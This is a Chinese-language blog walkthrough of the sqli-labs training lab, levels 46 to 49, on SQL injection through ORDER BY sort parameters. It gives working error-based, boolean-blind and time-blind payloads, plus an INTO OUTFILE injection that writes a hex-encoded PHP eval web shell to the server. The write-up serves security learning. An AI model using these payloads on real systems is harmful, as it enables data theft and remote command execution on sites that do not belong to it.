前言
前几关和后几关都是叠加注入…我就不写了,感觉没什么意思.就以上次的强网杯为例就好了吧…
接下来这几关都是order by
语句与limit
语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sort
和limit
两个参数。
Less-46
这关获取了sort
$id=$_GET['sort'];
尝试sort=1 asc
和sort=1 desc
,分别显示升序和降序的表格,说明此处是注入点,即注入点在order by
后的参数中,而order by
不同于在where
后的注入,不能使用union
等进行注入。
注入语句可以如下
?sort=(select ······)
?sort=1 and (select ······)
?sort=rand(······)
报错注入
输入?sort=1'
报错回显,我们可以用报错注入
?sort=1 and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))--+
?sort=1 and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)))--+
其他按照报错流程来就可以了
Bool盲注
Mysql也是弱类型,true=1,false=0
可以进行布尔盲注,我们可以利用rand()
根据回显来判断T还是F
前面已经提过如果给rand()传入一个参数,会以这个为种子,产生的是相同的
也就是说我们可以通过?sort=rand(语句)
,如果和?sort=rand(true)
相同,则为对,若和?sort=rand(false)
相同,则为错
结合前面的布尔盲注,可构造paylaod
?sort=rand(left((select database()),1)='s')

而?sort=rand(true)
,说明数据库第一个为's'

我们这里尝试错的数据,可发现和以上的图片不同

原理大概就是这样子了,具体操作和Bool盲注一样,这里就不展开来讲了
Time盲注
?sort=if((left((select database()),1)='s'),sleep(0.5),0)
我吐了,这里一开始试了sleep(5),他跑了42秒…
查了相关资料:
添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL会对每条满足条件的记录停留N秒钟。
但是以前怎么没遇到???而且我这个database()只有一个吧…不太懂
into outfile 参数注入
?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\cmd.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
注意这里文件位置要`\\`,这种,因为会转义...
其中lines terminates by将每行以指定字符串结尾:
而0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3ehex=hex(<?php eval($_POST["cmd"]);?>)
这样就可以上传一句话木马了(权限要够)
Less-47
和Less-46差不多,单引号闭合
Less-48
和Less-46差不多,但是不能报错回显,用其他方法就好了
Less-49
和Less-47差不多,但是不能报错回显,用其他方法就好了
本文地址: sqli-labs Less-46 to Less-49